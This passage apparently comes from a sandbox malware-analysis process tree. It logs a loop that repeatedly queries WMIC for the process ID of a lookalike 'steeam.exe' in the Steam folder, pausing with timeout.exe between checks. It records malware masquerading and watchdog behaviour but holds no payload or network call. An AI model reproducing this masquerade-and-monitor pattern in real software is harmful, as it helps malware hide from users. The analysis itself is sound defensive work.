        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1728
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1552
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:540
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2736
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2612
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1072
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2852
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1644
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1512
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1224
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5088
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2820
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2128
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4352
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4100
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:392
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4360
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1692
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1912
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1076
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3180
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2092
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2408
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4464
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2392
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3132
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2404
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4568
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4520
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:944
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4316
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2216
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3952
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2964
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3452
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2720
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2896
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3416
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4012
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2668
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5060
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4720
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4512
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2536
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4244
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4800
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3116
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4896
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4968
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3364
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1540
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4380
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3816
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4776
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1880
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3220
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2180
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2600
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3944
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:812
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2948
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3632
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1404
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3488
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2464
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2236
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1448
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4004
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4268
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3976
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1788
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3240
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1652
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:988
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4736
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1020
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3172
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1552
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1804
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2736
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2496
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1072
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2852
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4136
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3164
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5088
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4992
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2624
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2820
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3776
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3656
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4160
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4548
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2384
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5072
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1784
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4448
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2332
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4032
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4988
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4724
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4456
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5048
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3744
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4620
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2740
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:832
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:944
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2956
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3848
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2216
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2964
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4452
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3252
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1384
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4608
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2012
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2924
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2248
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4312
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3536
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1120
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3788
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1700
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2056
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4864
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:216
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:116
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:552
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4796
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2108
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1268
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1736
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1640
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2608
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2180
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:812
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4500
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4112
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2948
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3488
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:620
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3236
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2464
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4004
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2140
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3100
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2292
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2928
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3696
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4716
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1376
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3480
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2196
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3784
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3516
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:208
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1236
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2612
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4856
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:452
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4752
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2636
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3680
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:700
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4100
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3616
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3184
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2128
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1084
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1692
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:392
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4360
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2004
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2408
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1028
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3180
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4952
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2404
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1096
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4912
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5016
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2652
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1920
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:944
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4468
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3268
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2956
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2964
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2656
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2940
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4452
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4608
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2668
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3576
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2012
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
